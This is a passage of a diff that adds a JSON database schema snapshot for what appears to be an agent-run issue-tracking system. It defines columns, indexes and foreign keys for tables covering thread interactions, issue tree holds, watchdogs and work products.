+        "requested_resolver_policy": {
+          "name": "requested_resolver_policy",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'anyone'"
+        },
+        "effective_resolver_policy": {
+          "name": "effective_resolver_policy",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'anyone'"
+        },
+        "resolver_policy_provenance": {
+          "name": "resolver_policy_provenance",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'inherited'"
+        },
+        "effective_resolver_policy_source": {
+          "name": "effective_resolver_policy_source",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'requested'"
+        },
+        "idempotency_key": {
+          "name": "idempotency_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_comment_id": {
+          "name": "source_comment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_run_id": {
+          "name": "source_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "summary": {
+          "name": "summary",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "addressee_agent_id": {
+          "name": "addressee_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_by_agent_id": {
+          "name": "resolved_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_by_run_id": {
+          "name": "resolved_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_by_user_id": {
+          "name": "resolved_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "payload": {
+          "name": "payload",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "result": {
+          "name": "result",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_at": {
+          "name": "resolved_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_thread_interactions_issue_idx": {
+          "name": "issue_thread_interactions_issue_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_thread_interactions_company_issue_created_at_idx": {
+          "name": "issue_thread_interactions_company_issue_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_thread_interactions_company_issue_status_idx": {
+          "name": "issue_thread_interactions_company_issue_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_thread_interactions_company_issue_idempotency_uq": {
+          "name": "issue_thread_interactions_company_issue_idempotency_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "idempotency_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issue_thread_interactions\".\"idempotency_key\" IS NOT NULL",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_thread_interactions_source_comment_idx": {
+          "name": "issue_thread_interactions_source_comment_idx",
+          "columns": [
+            {
+              "expression": "source_comment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_thread_interactions_addressee_agent_idx": {
+          "name": "issue_thread_interactions_addressee_agent_idx",
+          "columns": [
+            {
+              "expression": "addressee_agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_thread_interactions_company_id_companies_id_fk": {
+          "name": "issue_thread_interactions_company_id_companies_id_fk",
+          "tableFrom": "issue_thread_interactions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_thread_interactions_issue_id_issues_id_fk": {
+          "name": "issue_thread_interactions_issue_id_issues_id_fk",
+          "tableFrom": "issue_thread_interactions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_thread_interactions_source_comment_id_issue_comments_id_fk": {
+          "name": "issue_thread_interactions_source_comment_id_issue_comments_id_fk",
+          "tableFrom": "issue_thread_interactions",
+          "tableTo": "issue_comments",
+          "columnsFrom": [
+            "source_comment_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_thread_interactions_source_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_thread_interactions_source_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_thread_interactions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "source_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_thread_interactions_created_by_agent_id_agents_id_fk": {
+          "name": "issue_thread_interactions_created_by_agent_id_agents_id_fk",
+          "tableFrom": "issue_thread_interactions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_thread_interactions_addressee_agent_id_agents_id_fk": {
+          "name": "issue_thread_interactions_addressee_agent_id_agents_id_fk",
+          "tableFrom": "issue_thread_interactions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "addressee_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_thread_interactions_resolved_by_agent_id_agents_id_fk": {
+          "name": "issue_thread_interactions_resolved_by_agent_id_agents_id_fk",
+          "tableFrom": "issue_thread_interactions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "resolved_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_thread_interactions_resolved_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_thread_interactions_resolved_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_thread_interactions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "resolved_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_tree_hold_members": {
+      "name": "issue_tree_hold_members",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "hold_id": {
+          "name": "hold_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "parent_issue_id": {
+          "name": "parent_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "depth": {
+          "name": "depth",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "issue_identifier": {
+          "name": "issue_identifier",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_title": {
+          "name": "issue_title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_status": {
+          "name": "issue_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "assignee_agent_id": {
+          "name": "assignee_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "assignee_user_id": {
+          "name": "assignee_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "active_run_id": {
+          "name": "active_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "active_run_status": {
+          "name": "active_run_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "skipped": {
+          "name": "skipped",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "skip_reason": {
+          "name": "skip_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_tree_hold_members_hold_issue_uq": {
+          "name": "issue_tree_hold_members_hold_issue_uq",
+          "columns": [
+            {
+              "expression": "hold_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_tree_hold_members_company_issue_idx": {
+          "name": "issue_tree_hold_members_company_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_tree_hold_members_hold_depth_idx": {
+          "name": "issue_tree_hold_members_hold_depth_idx",
+          "columns": [
+            {
+              "expression": "hold_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "depth",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_tree_hold_members_company_id_companies_id_fk": {
+          "name": "issue_tree_hold_members_company_id_companies_id_fk",
+          "tableFrom": "issue_tree_hold_members",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_tree_hold_members_hold_id_issue_tree_holds_id_fk": {
+          "name": "issue_tree_hold_members_hold_id_issue_tree_holds_id_fk",
+          "tableFrom": "issue_tree_hold_members",
+          "tableTo": "issue_tree_holds",
+          "columnsFrom": [
+            "hold_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_tree_hold_members_issue_id_issues_id_fk": {
+          "name": "issue_tree_hold_members_issue_id_issues_id_fk",
+          "tableFrom": "issue_tree_hold_members",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_tree_hold_members_parent_issue_id_issues_id_fk": {
+          "name": "issue_tree_hold_members_parent_issue_id_issues_id_fk",
+          "tableFrom": "issue_tree_hold_members",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "parent_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_tree_hold_members_assignee_agent_id_agents_id_fk": {
+          "name": "issue_tree_hold_members_assignee_agent_id_agents_id_fk",
+          "tableFrom": "issue_tree_hold_members",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "assignee_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_tree_hold_members_active_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_tree_hold_members_active_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_tree_hold_members",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "active_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_tree_holds": {
+      "name": "issue_tree_holds",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "root_issue_id": {
+          "name": "root_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "mode": {
+          "name": "mode",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "reason": {
+          "name": "reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "release_policy": {
+          "name": "release_policy",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_actor_type": {
+          "name": "created_by_actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'system'"
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "released_at": {
+          "name": "released_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "released_by_actor_type": {
+          "name": "released_by_actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "released_by_agent_id": {
+          "name": "released_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "released_by_user_id": {
+          "name": "released_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "released_by_run_id": {
+          "name": "released_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "release_reason": {
+          "name": "release_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "release_metadata": {
+          "name": "release_metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_tree_holds_company_root_status_idx": {
+          "name": "issue_tree_holds_company_root_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "root_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_tree_holds_company_status_mode_idx": {
+          "name": "issue_tree_holds_company_status_mode_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "mode",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_tree_holds_company_id_companies_id_fk": {
+          "name": "issue_tree_holds_company_id_companies_id_fk",
+          "tableFrom": "issue_tree_holds",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_tree_holds_root_issue_id_issues_id_fk": {
+          "name": "issue_tree_holds_root_issue_id_issues_id_fk",
+          "tableFrom": "issue_tree_holds",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "root_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_tree_holds_created_by_agent_id_agents_id_fk": {
+          "name": "issue_tree_holds_created_by_agent_id_agents_id_fk",
+          "tableFrom": "issue_tree_holds",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_tree_holds_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_tree_holds_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_tree_holds",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "created_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_tree_holds_released_by_agent_id_agents_id_fk": {
+          "name": "issue_tree_holds_released_by_agent_id_agents_id_fk",
+          "tableFrom": "issue_tree_holds",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "released_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_tree_holds_released_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_tree_holds_released_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_tree_holds",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "released_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_watchdogs": {
+      "name": "issue_watchdogs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "watchdog_agent_id": {
+          "name": "watchdog_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "instructions": {
+          "name": "instructions",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "watchdog_issue_id": {
+          "name": "watchdog_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_observed_fingerprint": {
+          "name": "last_observed_fingerprint",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_reviewed_fingerprint": {
+          "name": "last_reviewed_fingerprint",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_observed_stop_snapshot": {
+          "name": "last_observed_stop_snapshot",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_reviewed_stop_snapshot": {
+          "name": "last_reviewed_stop_snapshot",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_triggered_at": {
+          "name": "last_triggered_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_completed_at": {
+          "name": "last_completed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "trigger_count": {
+          "name": "trigger_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_agent_id": {
+          "name": "updated_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_user_id": {
+          "name": "updated_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_run_id": {
+          "name": "updated_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_watchdogs_company_issue_uq": {
+          "name": "issue_watchdogs_company_issue_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_watchdogs_company_status_idx": {
+          "name": "issue_watchdogs_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_watchdogs_company_agent_idx": {
+          "name": "issue_watchdogs_company_agent_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "watchdog_agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_watchdogs_company_watchdog_issue_uq": {
+          "name": "issue_watchdogs_company_watchdog_issue_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "watchdog_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issue_watchdogs\".\"watchdog_issue_id\" is not null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_watchdogs_company_id_companies_id_fk": {
+          "name": "issue_watchdogs_company_id_companies_id_fk",
+          "tableFrom": "issue_watchdogs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_watchdogs_issue_id_issues_id_fk": {
+          "name": "issue_watchdogs_issue_id_issues_id_fk",
+          "tableFrom": "issue_watchdogs",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_watchdogs_watchdog_agent_id_agents_id_fk": {
+          "name": "issue_watchdogs_watchdog_agent_id_agents_id_fk",
+          "tableFrom": "issue_watchdogs",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "watchdog_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_watchdogs_watchdog_issue_id_issues_id_fk": {
+          "name": "issue_watchdogs_watchdog_issue_id_issues_id_fk",
+          "tableFrom": "issue_watchdogs",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "watchdog_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_watchdogs_created_by_agent_id_agents_id_fk": {
+          "name": "issue_watchdogs_created_by_agent_id_agents_id_fk",
+          "tableFrom": "issue_watchdogs",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_watchdogs_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_watchdogs_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_watchdogs",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "created_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_watchdogs_updated_by_agent_id_agents_id_fk": {
+          "name": "issue_watchdogs_updated_by_agent_id_agents_id_fk",
+          "tableFrom": "issue_watchdogs",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "updated_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_watchdogs_updated_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_watchdogs_updated_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_watchdogs",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "updated_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_work_products": {
+      "name": "issue_work_products",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "execution_workspace_id": {
+          "name": "execution_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "runtime_service_id": {
+          "name": "runtime_service_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "type": {
+          "name": "type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "external_id": {
+          "name": "external_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "url": {
+          "name": "url",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "review_state": {
+          "name": "review_state",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'none'"
+        },
+        "is_primary": {
+          "name": "is_primary",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "health_status": {
+          "name": "health_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unknown'"
+        },
